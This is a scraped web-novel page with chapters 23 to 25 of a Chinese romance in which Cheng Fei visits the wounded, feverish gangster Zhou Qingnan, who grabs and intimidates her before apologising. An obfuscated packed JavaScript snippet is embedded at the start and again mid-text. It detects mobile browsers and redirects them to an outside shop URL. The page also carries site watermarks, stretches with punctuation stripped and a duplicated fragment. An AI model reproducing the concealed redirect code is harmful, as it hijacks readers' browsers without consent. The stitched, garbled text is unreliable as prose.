;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐霞曼跟程菲落实了下周饭局的具体细节,之后又道:“新栏目是扶贫纪实题材,到时候梅氏那边应该会要求去现场考察。但是下周末我要去云城出席一个很重要的会议,如果后面赶不及回来,就由你和梁主任陪同梅氏的人去一趟兰贵有没有问题? 兰贵县是徐霞曼敲定的取景地,位于边境地带,无论是教育水平、医疗水平还是基础设施建设都较为落后,是重点扶贫县。 徐霞曼策划这个栏目,也是为了帮助兰贵脱贫攻坚。 程菲没有半秒的犹豫,回答:“没问题。 “嗯。徐霞曼嘴角露出一个满意的淡笑,又说,“县政府那边我已经沟通好了,到时候他们会派专人接待你们。 “好的徐总,我明白了。 * 这一周的工作量较之前少些,程菲破天荒的连续三天没加班,星期一到三,她都是回家吃的晚饭。 周四下午,程菲早早忙完手上的活,看眼时间,见才四点多,便给蒋兰女士发了个消息,说自己还是回家吃饭。 谁知刚打完卡走出演播大厦,一通电话便将她的计划打打乱。 “程菲姐姐!听筒里的嗓音稚嫩又清脆,奶声奶气的,轻而易举便能激发人的保护欲。是周小蝶。 程菲虽然诧异,但对小朋友的来电倒也不反感,问对面:“怎么啦小蝶? 小姑娘的声音夹杂了哭腔,彷徨又无助,说:“爸爸好像生病了,一直睡觉,我怎么都叫不醒他…… 程菲闻声,眉心瞬间蹙起一个结:“你别着急慢慢说,你们现在在哪里? “在家。 “就你和爸爸两个人吗? “嗯。听筒对面的小姑娘吸了吸鼻子,语气可怜极了,“姐姐你能不能过来帮帮我,我想送爸爸去医院呜呜呜…… “陆岩叔叔呢? “打陆岩叔叔的电话一直没有人接。小丫头哭得稀里哗啦,“姐姐,我爸爸是不是要死了…… 人命关天,程菲虽顾虑重重,但 也没时间犹豫太久,沉吟片刻后,沉声道:“好,我马上过来。” * 乘车前往尹华道的路上,程菲想到上次闹出的大乌龙,多长了个心眼,专程从通讯录里找出了周清南的手机号,拨打了过去。 一连打了五个,均是无人接听。 程菲轻咬唇瓣,心口像被一只无形的手攥住,一阵阵发紧。 看来这次周小蝶小朋友没做噩梦,那位单身老父亲是真的出了什么情况…… 脑子里胡乱思索着,好不容易抵达目的地,程菲付完钱后便飞快跳下车,直奔21层而去。 这会儿正是傍晚光景,夕阳悬挂于西方的天际线,摇摇欲坠,整片天空都被染成艳丽的玫瑰色。 程菲走出电梯,这才第一次注意到,入户光厅的大露台上居然摆着一个画板。 她快步往大门方向走,视线匆匆掠过画板正面的纸张时,微微愣了下,眸光闪烁,但也来不及多想,径直离去。 大门半开,屋子里的挡光帘照旧拉得严严实实。 程菲蹙眉,轻轻将门推开,摸黑走进去,边走边试探地喊:“小蝶?周先生?周清南?” 清灵声线在偌大的客厅里回荡,无人应答。 见此情形,程菲心头的忧虑更重几分,继续往里走,穿过稍微明亮一些的走廊和健身房区域,终于来到主卧。 卧室门隙着一道缝,依稀可见里头黑漆漆一片,暗如浓夜。 “……”程菲莫名有点紧张,心跳加快,手掌心也分泌出了一层薄薄的细汗。迟疑再三,终究还是鼓起勇气,将那扇纯黑色的实木门推开,缓步而入。 好黑。 太黑了。 难怪在她的噩梦里,这位大佬会是个恐怖吸血鬼的形象——哪有正常人类大白天把挡光帘拉这么严实的?是见了光会灰飞烟灭吗? 黑灯瞎火的什么都看不清,又不知道灯开关在哪儿,程菲忍不住在心里吐槽。 怕撞到什么东西,她本能地举起双手朝前摸索。 这间卧室的面积应该很大,因为程菲往前摸了好几秒都没碰到东西。 她轻轻动了动鼻子。 空气里浮动着一种很奇特的气味,像是周清南身上一贯的冷调薄荷味,但又不全是。好像还夹杂着一丝很淡的…… 血腥味。 程菲心头一沉,惊疑不定之间,忽觉左手一痛,紧接着她整个身体被一股大力拉拽着上前,蛮横暴戾,几乎要将她纤细的腕骨生生捏碎。 不足一秒光景,眼前天旋地转,等她回神,人已被硬生生摁倒在床上。 “……”程菲吓傻了,脸色惨白张了张嘴,甚至忘了呼救。 紧接着便听见头顶上方传来一道嗓音,每个字音都像是砺过沾血的粗砂纸,低哑狠戾而又狂乱,命令道:“出声。” 作者有话要说 大佬:?上次送上门,这次直接送上床,老婆别太爱我【害羞】 —— 下章又是全篇对手戏啦!很快还会上线一个超强助攻,大家猜猜是谁【狗头】随机100个红包包! 第 24 章 碰你。 第24章碰你。 黑暗中,男人的声音听上去很沙哑,疲惫不堪,鼻音微重,但尽管如此,从他口中出来的“出声”二字依然透着浓烈的杀气,威慑性极强。 听得人不寒而栗。 程菲背上汗毛倒竖,被对方的举动与言辞吓住,下意识想要挣脱逃跑,但四肢身体又全被周清南锁得死死的,根本动弹不了分毫,瞬间更慌。 她混乱地喘了一口气。 也正是在瞬间,程菲明显感觉到上方钳制自己的力道,骤然一松。 周清南听出了身下人的呼吸声,同时,因疼痛与低烧而变得有些迟钝的嗅觉也终于恢复运作。 他闻到了女孩身体散发出来的味道。清新的,淡雅的,带着一丝若有似无的甜味,像是夏天的应季水果泡进了冰牛奶。 十指松开,周清南直起身来放了人。 本想说什么,又觉整个脑子疼痛欲裂,像是下一秒就要炸开。只好重新闭了眼,眉拧成川,抬手重重摁压两侧太阳穴,试图让自己清醒几分。 程菲早就已经吓蒙了,周清南松开对她的钳制以后,她怔愣了差不多半秒钟,接着才恍然惊觉,连滚带爬地逃下床。 护住手腕站到床边,惊魂未定地瞪着床上的男人。 咚咚咚咚。 胸腔内的心脏快得像打鼓,仿佛下一秒就要从嗓子眼里蹦出来。 程菲眼睫颤个不停,感觉到自己的前胸后背手掌心,全是让周清南吓出来的冷汗——不带任何夸张色彩,刚才,她真的以为他会直接掐死她。 片刻。 “你怎么在这儿。”死寂暗沉的空间里冷不丁响起一句话,声音又低又哑,沉沉的。 “我……”喉咙干得有点发涩,程菲不自在地清了清嗓子,闷闷回答道,“我接到小蝶的电话,听说你生病了,情况不太乐观。所以过来看看。” 闻言,周清南眼底平添一丝寒色。半秒后,他撩起眼看向她,轻轻一挑眉,语气里半带玩味:“我生病,程小姐很担心?” 程菲被呛了下,脸色泛红,被烧到尾巴似的立即出声反驳:“你哪只眼睛看见我担心?” 周清南淡淡地说:“不担心你就不会来了。” 心尖莫名一颤程菲双颊温度滚烫说话的口吻却还是硬邦邦的回怼道:“我到这里来只是因为小蝶说她很害怕让我过来帮忙送你去医院而已。”说到这里她稍稍停顿了下脑袋垂下去音量也不自觉便弱下几分“毕竟小蝶现在只有你一个亲人要是你真有个三长两短她多可怜。” 眼睛的光线习惯了黑暗周清南眉眼平静视线定定落在床边的纤细身影上。 注意到她右手一直捏着自己的左侧手腕他眯了眯眼睛眉心微不可察地蹙起。 “灯开关在你七点钟方向四步远。”周清南忽然说。 程菲怔了下一时间没反应过来他什么意思。 周清南:“去把灯打开。” “……哦。”程菲点头转身朝七点钟方向迈出四步抬起手果然在一面墙上摸到了触屏开关。 程菲随便敲了下。 因不熟悉开关构造手指戳得略偏主卧天花板正中的大灯没亮倒是大床两侧的落地台灯发出暖橘色的光芒将整个空间笼进一池柔纱。 开完灯程菲重新回转身子很随意地一个抬眸顿时心一沉怔愣在原地。 刚才光线太暗看不清直到此刻她才第一次看清周清南整个人的状态。 只见这位大佬正以一种很随性的姿态坐在床上没穿上衣大方展露出自己那副宽肩窄腰肌理紧硕的好身材。脊背挺得不那么直背肌部分的脊柱呈轻微弯曲状额间碎发垂落稍挡住漂亮又冷淡的眉眼面容和薄唇透出病理性的白 和上回来的时候程菲见到的一样他身上仍旧有大大小小的各式伤痕只是这次在旧伤基础上又添了新的——白色纱布缠几圈从他紧实性.感的腹肌位置缠绕而过包扎手法十分专业。 破案了。 程菲看着周清南腰腹部位的纱布猜到这应该就是导致这位大佬现在看起来这么“娇弱”的症结所在。 “你受伤了?”程菲脱口而出。 “没有。”周清南淡声回答。 程菲:“?” 程菲皱着眉头走过去伸出根食指隔着空气戳戳男人腹部的那截白纱布瞪他:“我都看见了这不是伤口是什么?” 周 清南很平静地说:“假的。” 程菲呆住:“假的?” “我在cosplay,这是我最新研究的战损造型。” 程菲:“……” “我看起来是像个傻子吗?”程菲觉得自己的智商受到了侮辱,音量拔高两分,“这么明显的伤口还cosplay战损造型,睁着眼睛说瞎话,你明明就是受伤了!” 周清南看她一眼,语气冷静:“那请问这位小姐,你在明知故问什么。” 程菲:“…………” 大佬就是大佬,呛人都呛得这么别出心裁与众不同。 OK,我的。怪我多嘴。 程菲被周清南噎得一时无言,顿了差不多两秒钟今后,目光又不由自主扫向他受伤的腰腹,迟疑地问:“前几天见你的时候都还好好的,怎么忽然就受伤了?” 话音落地,周清南顿了下,抬眼直勾勾地看向程菲,神色间阴晴莫测。 程菲察觉到这位大佬眼神不善,眨眨眼,反应过来自己又问了不该问的问题,尴了个尬,只能默默抬手挠了挠头,低声嘀咕:“当我没问。” 周清南盯着程菲的脸看了两秒,而后便微垂眸,目光落在她左手的手腕上。 柔美楚楚的一小截,骨骼纤细,瓷白如玉,依稀可见几道修长的指痕,色泽鲜红之中隐隐泛青。 是他刚才留下的。 “还疼不疼?”周清南冷不丁开口,音色无意识便柔下几分。 程菲听后,一时没明白他在说什么,面露茫然:“什么疼不疼?” “手腕。” “……”程菲略微怔愣,下意识又伸手摸了摸左手腕骨的位置。 回想起这位大佬刚才的粗暴行径,野蛮暴力不分青红皂白,她不禁有些无语,回话的语气并不友好,只嘟囔着说:“你让人这样抓一下试试。” 都受伤了还这么大力气,牛变的吗。 周清南静了静,继而低声对她说:“对不起。” 程菲眼中泛起一丝异样的光,嗖的抬起脑袋看他,心头惊讶和疑惑交织。 周清南沉静地注视着她,淡淡道:“我从昨晚开始一直处于低烧状态,头脑不太清醒,所以刚才的反应过激了点。抱歉。” 先是一句“对不 起”紧接着又来一句“抱歉”认错态度可以说是相当诚恳。 程菲的性格向来吃软不吃硬见周清南此刻的愧疚不像是装的又是跟她解释又是跟她致歉她反而有点不好意思起来。 嗫嚅了两秒程菲不大自在地说:“……算了我也知道你不是故意的理解。” 她的回答倒是令周清南有点儿诧异。他盯着她缓慢重复:“理解?” “对啊。”程菲说“你们这一行干的都是刀口舔血的营生仇家无数警惕性高本来也很正常。” 周清南听得微挑眉峰轻嗤:“你对我们这行好像很了解。” “没吃过猪肉难道还没见过猪跑。”程菲小声回。 她在心里傲气地想:也不看看本小姐学的什么专业。身为一个注定要闪耀影史的未来名导国内国外的经典警匪片我几乎看了个遍光是品鉴赏析都写了上百份电影里不都这样演。 程菲脑子里的思绪胡七八糟地乱飞就在这时又听见床上的男人再次出声很随意地说:“你过来。” 不知是不是受了伤还在发低烧的原因周清南那双浅色的眼瞳色看上去比平日要深许多。 沉如暮霭笔直看过来莫名便显得露骨而直白充满侵略性。 程菲被他瞧得心惊肉跳生出几分戒备心有点结巴地问:“我、我为什么要过来?” 周清南:“你怕什么。” 程菲卡壳嘴唇嗫嚅两下还没来得及说话床上的大佬便又轻描淡写地续道:“就我这副半死不活的样子难不成还能吃了你?” “……”倒也不必这样咒自己。 黑老大就是黑老大狠起来连自己都骂程菲由衷佩服。 又暗搓搓打量周清南一番见他一副刚生完孩子还在月子期的模样眼皮耷拉神情懒倦确实也不像又要发疯掐死她的样子。 纠结两秒后程菲深吸一口气吐出来定下心神最终还是提步走了过去。 在床沿边上站定。 周清南直勾勾盯着近在咫尺的小姑娘 程菲困惑下意识低眸看过去。 手掌心很宽大手指头很修长骨节分明干干净净。虎口 和部分掌部皮肤结着老茧,糙糙的,一点都不细腻,但丝毫不影响美感。 真手控福利。 程菲眨了眨眼,猜不透这位大佬伸手过来是要干什么,站在原地没动作。 对面的周清南耐着性子等了几秒钟,见这姑娘毫无反应,不禁拧了下眉,也不说话,直接伸手就把她的左腕给一把握住,拎起来。 怕再次弄疼她,周清南刻意控制了力道,动作也十分轻柔,但尽管如此,程菲还是轻轻吸了口凉气。 她皱眉,下意识将手臂往回抽。 “忍一下。”周清南低着眸,神色专注,五指收拢不许她躲,“很快就好。” 他将那只白生生的细胳膊捏手里,左手固定住,右手熟练地摩挲过整段小臂,时不时揉摁两下。 程菲不知道这人在干什么,半天挣脱不开抽不出手,白皙的脸蛋瞬间涨得通红。 男人的手掌指腹都结着茧,摩擦过她细嫩的皮肤,肆无忌惮,摩挲揉搓,一点不客气。所经之处激起一阵阵敏感的颤栗。 程菲让他摩啊摩,摩得头皮都开始发麻,骂人的心都有了。正要忍无可忍地问候他全家,那两只要命的大手终于松开。 “……”胸腔里的心跳狂烈地跳动,程菲捂着手飞快后退两步,呼吸不稳。 “我刚才帮你检查过了,没有伤到筋和骨。”周清南冷静地说,“淤青位置冷敷一下或者擦点药酒,很快就会消下去。” 程菲一愣。 原来是帮她检查有没有伤到骨头…… “我又不是纸做的,怎么可能被你抓一下就骨折。”程菲脸蛋耳根都浮着红云,低着头小声说,“哪有人会这么脆弱。” 周清南没搭腔。 他昨晚跟陆岩一起去见买家,酒局上双方聊得尽兴,光是白酒就干五瓶。陆岩喝大了,他先打了个车把陆岩送到住处,往回折的时候说走点路醒醒酒,谁知途经一处暗巷时着了道。 最新型的微针麻药,藏在戒指里,往身上一扎,不到两分钟就能让人神志模糊。 对面十来个马仔,个个手持利器下死手,周清南扛着药劲以一敌十咬牙硬撑,最后,腹部挨了一刀,倒是捡回一条命。 周清南忽然有点儿神经质的庆幸。 庆幸他受 了伤,整整一天都烧得浑浑噩噩。 否则,刚才他本能反应下的一击,不费吹灰之力便能将她脆弱纤细的腕骨给生生折断。 站在床边的程菲当然不知道这位大佬脑子里在想什么。她暗自平复着混乱失序的心跳,几秒后缓过来,这才意识到了点儿不对劲。 受了伤、发烧烧得要死不活的明明是这位爷,他不操心自己,关注重点居然全在她的手腕上,是不是也太不把自己的身体当回事了? 想到这里,程菲试探地问:“你现在能下床走路吗?” 周清南看她,“问这做什么。” “你要是自己还能走的话,我就扶着你慢慢下楼,去医院。”程菲掏出手机,边说边点亮屏幕,“要是你一步都走不了,我就打120,用担架抬你。” 周清南:“不用了。” “……为什么不用?”程菲两道眉毛打了个结,不可思议,“你都病成这样了还不去医院,就准备躺床上硬抗?你把自己当超级赛亚人吗?” 周清南瞅着她,语气淡淡:“一点皮肉伤而已,休息几天就能好,程小姐不用这么大惊小怪。” “那你一直发低烧怎么办?”程菲好气又好笑,“你都说自己低烧不退,就不怕把脑子烧坏吗?” 她长得明媚,故意板起脸来神色严肃,看着并不唬人,就像一只炸了毛的傲娇小猫。 周清南觉得她这神态可爱,被惹得淡笑一声,回她:“不怕。” 程菲黑线脸,仍不死心,又劝说道:“那你也要考虑小蝶吧。孩子还那么小,你不去医院成天就在家里躺着,也不怕吓到小朋友?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415791|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周清南:“不怕。” “……你去了医院,还有护士医生能照顾你。”程菲快要抓狂了,“你在家里待着,谁照顾你?出点意外怎么办?指望小蝶吗?” 周清南细微地牵了牵嘴角,冷峻面容在暖光的映照下显出几分往日罕见的柔和,耐人寻味道:“程小姐这不是来了么。” “……”什么叫油盐不进,什么叫死猪不怕开水烫,今天算是见识了。 程菲两只手掌心黏黏的,两颊发烫,被他后面这句话噎得哑声,一双晶亮的明眸瞪得圆圆的,干站在原地,半天不知道说什么。 不多时,又看见床 上的男人忽然有了新动作。 周清南调整了一下姿势,单手撑住边儿上的床头柜,稍微坐起来了点儿。大约是牵扯到了伤处,他极轻微地拧了下眉,结实的背肌与臂肌虬结突起,线条分明,蓄力待发。 程菲看出这位大佬想站起来,又猜到他伤在腹部,腰腹一圈难以发力,便好心上前几步,伸出两只手,试探性地扶住他右臂。 长时间的低烧令周清南全身滚烫,女孩纤细微凉的指尖一触上来,像火遇上了油。 表皮的温度没降下去,反而让骨血里的躁动更烈几分。 周清南右手食指不受控制地跳了下。他眸色暗得深不见底,扭头,看向身侧。 “要站起来吗?”小姑娘这会儿注意力都在他腰间的纱布上,怕他强行腰腹发力会崩开伤口,很善良地提议,“我扶你。” 说话的同时,她十根纤细莹白的手指已经收拢,合握住他的上臂,人也跟着贴近过来。 两人之间的距离骤然缩短,那种清淡微甜的香味儿变得浓郁,丝丝缕缕,缠绕在周清南的鼻息之间。 从他的视角,能清晰看见她柔美微红的侧颜,小巧珠润的耳垂,垂落在脸颊耳侧的黑色发丝,甚至是脸上细细的、柔软的绒毛…… 低眉垂首的姿态,温柔楚楚,柔美得不可思议。 周清南眸色更深几分。 脑子里那根叫理智的弦,早已崩得笔直,在低烧的炙烤下愈发脆弱不堪,几乎濒临断裂的边缘。 那么近。 近到他一伸手,就可以触碰到她。碰到她的发,她的眼,她娇红的脸颊,她身上透着凉意的皮肤,她那张天生爱笑的唇…… 明明那么近。 可是。可是。 “谢了。” 周清南强迫自己收回落在程菲身上的视线,侧过头,吐出一口气,喉结上下起伏一瞬。 然后,他胳膊轻轻一抬,挡开了她主动搀扶的两只小手,语气神态皆重归一贯的散漫,无波无澜,“我自己可以。” “你伤在腹部,强行发力伤口会又流血的。”程菲有点无奈,心想这男人还真是又怪又别扭,让她扶一下是丢脸了还是怎么地? 周清南脸色冷峻,没说话,手臂找到支撑点,额角青筋突起一瞬,站起身 来。 看着像并没有费太大劲。 然而一旁的程菲观摩全程却是整颗心都悬了起来。等这位大佬站直身子后看向他腰腹果然缠过他劲瘦腰身的白色纱布渗出一丝红隐现血迹。 “看流血了!” 程菲心里难受又是气这人不识好人心拒绝自己的好意又是焦心他的伤势没好气地质问“你刚才为什么不让我扶你?” 周清南才懒得管腰上的伤流没流血 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节)踏着步子径自往前。 程菲见他不做声几步追到他后面。 周清南察觉到年轻姑娘跟上来步子顿住站定。而后转过身来垂了眼皮没什么表情地瞧着她。 周清南轻轻抬了抬下巴:“敢听实话吗。” 程菲也不知道自己此时此刻是哪儿来那么大的勇气居然也仰着脖子和他对视清澈的眸灿若繁星完全没有躲闪的意思。 程菲化身勇敢鲨鱼一点不带怂应道:“你敢说我就敢听。” 周清南说:“因为刚才我想碰你。” 程菲:“……” 程菲真是怎么都没想到会听见这么一句话。她愣住了脸色一阵青红一阵白双眸错愕地瞪圆。 “别人躲都躲不及你倒好。”周清南说着忽然眯了眯眼睛上上下下将程菲打量一个遍眼神赤裸裸的桀骜而玩味像是隔着空气都能把她的衣服扒得一干二净“三番两次自己送上门跟我孤男寡女共处一室。” 程菲被他看得心惊胆战胸腔内擂鼓阵阵窘迫又羞恼面红耳赤。 “对我这么放心。”周清南盯着她忽然朝她伸出一只手“还真拿我当正人君子?” 女性本能察觉到侵略和危险程菲生生一惊步子后移下意识往后退了一步仰头将男人的大手躲开。 周清南手摸了个空眉峰轻抬下一瞬竟一把攥住她的胳膊往前一拽。 程菲根本没料到他会再次对她动手动脚低呼出声被那股大力拉扯着往前踉跄转眼间浓烈的男性气息侵入鼻息她被囚入他的世界。 “……你!你放手!”程菲吓得脸发白使劲挣扎浓密的眼睫颤个不停。 从两人认识到现在她一直觉得这个男人虽然桀骜 不羁但也温和好相处整体算个好人从未见过他如此恶劣的一面。 程菲着实又怕又错愕 “吓到了?”周清南扯出个笑漫不经心地问她。 程菲咬紧嘴唇瞪着他没有出声用力挣脱开躲得远远的眼睛里全是惊慌失措。 “我早就跟程小姐说过我比你想象的坏很多。”眨眼光景周清南面上的笑意已经荡然无存。 他平静地直视着她沉声道:“既然知道怕就别总来招惹我。听没听懂?”“ 作者有话要说 文案又调整了一下建议再看看! 之前很多宝子在问这篇和寒鸦的设定是不是不一样了这里我可以很负责任地告诉各位大帅:《炽烈》这个故事完全是从《寒鸦》诞生的所有大设定都没有变化只是《寒鸦》里两只的剧情线太少也太单薄不足以支撑独立成文所以这本加入了许多新剧情新人物也对各个人物进行了丰满和重塑故事内容不会和《寒鸦》完全一样(全部一样也没意思了对吧)会有部分出入希望大家看文愉快。么么! 还是随机100红包包! 第 25 章 栽定了。 第25章栽定了。 此时此刻,看着不远处那位腰上还缠着纱布的冷冽男人,程菲傻站在原地僵滞住,下一瞬,不禁感到既好气好笑,又愤怒委屈。 本想着这人受了伤又在发烧,脑子可能不大清醒,说一些怪异的话做一些出格的事,没准儿也就是病糊涂了,她忍一时风平浪静,退一步海阔天空。 无奈程菲这会儿实在火大,忍了忍,没忍住,瞪大了眼睛便冲口而出地反驳:“你不觉得自己说的话很无厘头吗,怎么好像是我上赶着过来找你一样?” 隔着几步距离,周清南眸色沉沉地注视着她,整个人背光的缘故,眼神显得复杂不明。 听她说完,周清南扯了扯唇,语调里平添一丝玩味与揶揄,淡声道:“这位小姐,你如果记性不太好,我可以帮你回忆一下。” 程菲眉心轻蹙。 “你前后两次到我家,都是不请自来。”周清南踏着步子往她走近,步速不疾不徐,那姿态自如得跟在自家后花园儿里散步溜达的大爷似的,“你一个年纪轻轻的姑娘家,回回连招呼都不打,就往一个男人家里窜,胆子未免太大了点儿。” 听见这句话,程菲怔住,紧接着抿唇思索几秒,灵台猛地便清明一片,反应过来。 “你觉得我胆子太大,所以刚才就故意吓唬我吗?”她怄火,恼得睁大眼睛。 周清南这会儿人已经走到她身前,垂了眸凉凉地瞧她,一挑眉,语气暧昧地反问:“你觉得我仅仅只是吓唬你?” 随着彼此之间距离缩短,程菲又闻到了那股独属于这个男人的、已不算陌生的气息。清冽的薄荷味,冷淡的烟草味,混杂着一丝若有似无的血腥气…… 这股味道其实并不难闻,但不知为什么,就是让她每每触及,便觉心慌意乱。 脸蛋是热的,耳根也是热的,程菲目光闪烁了瞬,没勇气直视男人那双如染暮色的眸,因而不露痕迹地移向旁处,不看他。 过了差不多两秒钟,她才终于深吸一口气呼出来,低着眼帘闷闷道:“你不会。” 她的回答似乎令周清南诧异。 他眉峰更往上抬一寸,表惊讶,倒是有点儿稀奇:“为什么?” 程菲眼 睫颤动了下,然后迟疑地抬起眼帘,看他:“因为在今天之前,你已经有很多机会可以对我下手了。但是周先生,你没有。 四目相对,话音落地的刹那,夜风忽起。 主卧的窗户半开了一扇,丝丝晚风悄然溜进来,将深色的窗帘吹得翻飞,幅度细微而温柔,使人联想到少女嬉戏时微扬的裙摆。 周清南定定注视着眼前的姑娘,眸色深不见底,竟有一息失神。 程菲也看着他,语速微快地继续说:“之前你身强体壮好人一个,那时候都没有对我不轨,现在你虚弱得就像在坐月子,更不可能对我怎么样了。 事实本来就是这样。 哪有人做坏事,非选个自己半死不活的时候?这根本不符合常理。 所以,程菲认为自己有充分的理由推断,刚才周清南搞的那一出只是为了吓吓她。 话说完,屋子里又是一阵静。 程菲仰着脖子看着周清南,等待对方回话。可一连等了两三秒,周清南仍旧一句话都没说。他只是微垂眼帘,自上而下很平静地瞧着她,眸光不明,让人猜不透他在想什么。 程菲见对面的大佬半晌不发一语,心念微转想起什么,又清清嗓子,很郑重地补充:“而且,我想我有必要跟你说清楚一件事——你说我这两次到你家,都是不请自来,这句话并不对。 “是你女儿先打电话找我求助,我才来的。程菲正色,顿都不顿一下,“也许在你的视角里,我是三番两次主动找上门,但事实却是,我受人之托忠人之事,乐于助人品德高尚。 “说句良心话,这年头,像我这样热心又靠谱的人真的已经不多了。 在程菲说话的过程里,周清南仍旧保持着那副闲散又懒漫的老大爷造型,低着眸直勾勾地瞧她。越往后听,他眼神里的兴味便越是浓。 周清南看人的眼光一直很毒,他一早就觉得,程菲这姑娘挺有意思。脑子灵活,胆子也大,一副嘴皮子翻得比书快,黑的都能给你说成白的。 再听听她刚才反驳他的那些话,逻辑清晰有理有据,顺带还大大方方把自己从头到脚都给夸了一通,全程脸不红心不跳,就差把“我超赞三个字打脸上。 须臾,周清南瞅着程菲那副骄矜又自信的小表情 ,心下好笑,懒洋洋地说:“听程小姐这么一说,你倒真是人见人爱花见花开。” “那夸张了。”程菲谦虚地摆了下手,自然而然道,“我这人最大的优点就是乐观开朗从不内耗,擅长自我肯定而已。” 周清南极淡地嗤笑一声,调子散漫:“就你这性格,也好意思吐槽别人自恋?” 程菲一时半会儿没反应过来,蹙眉道:“我吐槽谁自恋了?你让他过来当面对质。” 周清南:“我。” 程菲:“……” 有吗? 她以前说过他自恋?不记得了。 程菲尴了个尬,被噎得失语,杵在原地半天不知道说什么。这时又看见周清南转过身,迈着步子走开了 “你去哪儿?你身上还有伤!”程菲忧心忡忡地快步追上,跟在周清南背后念叨,“本来人的很多活动都倚赖腰腹的核心力量,你伤在腹部,随便动一下都可能会牵扯到伤口,快躺回床上休息去。” 周清南听着小唐僧似的碎碎念,蓦地步子一停,侧过头来。 “……”大佬的眼神杀,嘎嘎乱杀,刀刀致命。 程菲立刻原地立正。 “我现在要去放水。”周清南淡淡地说,“一起?” 程菲大脑卡了半秒壳,一时没理解到大佬高深莫测的隐喻,茫然接话:“放水洗澡?可是你都受伤了,在伤口结痂之前不能碰水吧。” 周清南:“尿尿。” 程菲:“……” 周清南神色凉凉,“跟着来不?” 程菲窘,耳根滚烫地朝他挤出个尴尬而不失礼貌的微笑,说:“不了。” 得到这个答案,周清南面无表情地收回视线,走进了主卧内的洗手间,顺便一反手,将门给关上了。 说更新,记住域名qiexs.com⒓(请来企鹅小 说 看最新章节 完整章节) 程菲站在原地挠了挠头,心想:周小蝶小朋友打电话叫她过来江湖救急,要她送周清南去医院,可刚才她软磨硬泡大半天,嘴皮子都快说破,人单身老爹就是不愿意纡尊降贵往医院去,她有什么办法?总不可能一棍子给他敲晕,然后拿麻袋把人一装扛过去吧? 而且…… 进来了大半天,也没见到周小蝶人。 刚才程菲进门之后没有看见周小蝶,想着周清南受伤发烧,小朋友八成是被陆岩带 出去吃晚饭什么的了,倒也没多担心。 这会儿闲下来,便想给小蝶打个电话,跟小姑娘说一下目前的情况——不是姐姐不帮你,是你爹真的油盐不进无法沟通。 琢磨着,程菲从牛仔裤的裤兜里重新摸出手机,翻找出之前的通话记录,点了下拨号键。 嘟嘟几声过去,没等电话被接听,一阵脚步声兀然从主卧外传来。 “……”听见外头的动静,程菲瞬间警觉起来。 按照那些经典警匪片的套路,黒帮大佬受伤的剧情之后,紧跟着的就是仇家上门寻仇砍大佬全家这种桥段。 难道真的有仇家找上了门? 她不会那么倒霉吧…… 程菲思索着,背后汗毛一根根地倒竖起来,咕咚咽了口唾沫。将手机重新往包里一塞,压着步子、蹑手蹑脚地向房门走去。 趴在门板背后,透过缝隙往外瞧,看见一双浅灰色的公主小皮鞋,鞋面绑带上还各有一朵蝴蝶结,小巧可爱,圆嘟嘟的。 看见这双鞋,程菲悬着的心骤然一松,当即推开门走出去,笑盈盈地说道:“小蝶你回来了呀?” “姐姐!”周小蝶怀里抱着她从不离手的洋娃娃,一蹦一跳地朝程菲小跑过来,雪肤明眸,笑容无邪,像个跌落人间的小天使。 周小蝶一下扑进程菲怀里。她抱住程菲纤细的腰身抬起脑袋,扑闪着一双大眼睛看程菲,忽然又往程菲背后的主卧看了眼,小声询问:“你见到我爸爸了吗?” 程菲捏了捏周小蝶肉嘟嘟的小脸蛋,蹲下来抱住软绵绵的小姑娘,轻声说:“见到了。你爸爸确实生病了,而且病得有点严重。” “啊?”周小蝶一双小眉毛瞬间拧起来,小手抓住程菲的胳膊左右摇晃,“那姐姐你怎么没有把我爸爸送去医院呢?” 程菲无奈地叹气,说:“不是我不想送,是你爸爸怎么都不愿意去,他想在家休养。” 周小蝶满脸都是担心,晶亮的眼眸里说着说着就泛起了泪光,期期艾艾:“那爸爸会不会死掉呀?” “……目前看来不会。”程菲心软,赶紧摸着小丫头的脑袋安慰她,“你爸爸那么那么壮一大只,身体底子还是很好的,不会那么容易死掉。” 听见这话,周小蝶像是稍微放宽心,没 那么怕了。她抬手抹了抹眼角的泪花,应程菲:“好吧。” 面对可爱的小朋友,程菲脸上的笑容就没褪过,依然笑意温柔:“对了小蝶,你刚才去哪里了呀?” 周小蝶嗓音清脆而稚气,也笑着回答程菲:“出去吃饭了呀。” “你一个人吗?”程菲诧异。 “我和陆岩叔叔呀!”说着,周小蝶扬着灿烂笑颜一挥胳膊,指向了自己身后。 程菲回过头,顺着周小蝶手指的方向看过去,只见一道高大伟岸的身影不知何时已经出现在了她和小朋友身后,斜倚着木纹墙站着,悄无声息,神色冷漠,手上有一搭没一搭地把玩着什么东西。 陆岩和周小蝶回来之后也没开灯,客厅里光线依然很暗,程菲第一眼并没有看清陆岩手上拿的是什么。 她也没过多在意,只是朝陆岩友好地笑了笑,抬手挥挥:“嗨。” 陆岩的刀疤脸上仍旧挂着万年不变的冷厉,看她一眼,面无表情地回应:“嗨。” “……” 程菲觉得这位刀疤哥还真不愧是周清南座下的第一小老弟,行事风格和他家大佬如出一辙,都是朵特立独行不走寻常路的奇葩。 陆岩五官其实很周正,但他周身气场凶悍,属于那种在现实生活中遇到了,正常人连多看两眼都怕被他拎起来暴揍的面相。 程菲怵他得很,但觉得遇都遇上了,就这么干站着不吭声也不是个办法,于是清了清嗓子,又笑着随口说:“你刚才带小蝶去吃饭了吗?” 陆岩:“嗯。” 程菲:“吃的什么呀?” 陆岩:“西餐厅的儿童套餐。” “好吃吗?”没话找话进行中。 